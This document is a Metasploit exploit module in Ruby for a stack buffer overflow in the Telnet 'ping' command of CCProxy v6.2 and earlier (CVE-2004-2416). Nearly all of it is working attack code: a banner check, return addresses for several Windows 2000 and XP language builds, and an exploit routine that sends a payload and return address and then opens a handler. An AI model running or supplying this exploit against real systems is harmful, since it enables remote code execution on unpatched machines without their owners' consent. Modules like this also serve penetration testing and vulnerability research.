CCProxy <= v6.2 Telnet Proxy Ping Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/   
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})   
super(update_info(info,   
'Name' => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',  
'Description' => %q{  
This module exploits the YoungZSoft CCProxy <= v6.2 suite  
Telnet service. The stack is overwritten when sending an overly  
long address to the 'ping' command.  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'Arch' => [ ARCH_X86 ],   
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-2416' ],  
[ 'OSVDB', '11593' ],  
[ 'BID', '11666 ' ],  
[ 'URL', 'http://milw0rm.com/exploits/621' ],  
],   
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{   
'Space' => 1012,  
'BadChars' => "\x00\x07\x08\x0a\x0d\x20",  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# Patrick - Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.  
[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75023411 } ], # call esi ws2help.dll  
[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd2b81 } ], # call esi ws2help.dll  
[ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa2b22 } ], # call esi ws2help.dll  
[ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa1a97 } ], # call esi ws2help.dll  
[ 'Windows XP SP2 - English', { 'Ret' => 0x71aa1b22 } ], # call esi ws2help.dll  
],  
'DisclosureDate' => 'Nov 11 2004'))  
  
register_options(  
[  
Opt::RPORT(23),  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check   
connect  
banner = sock.get_once(-1,3)  
disconnect  
  
if (banner =~ /CCProxy Telnet Service Ready/)  
return Exploit::CheckCode::Appears   
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)  
sock.put(sploit + "\r\n")  
  
handler  
disconnect  
end  
  
end  
`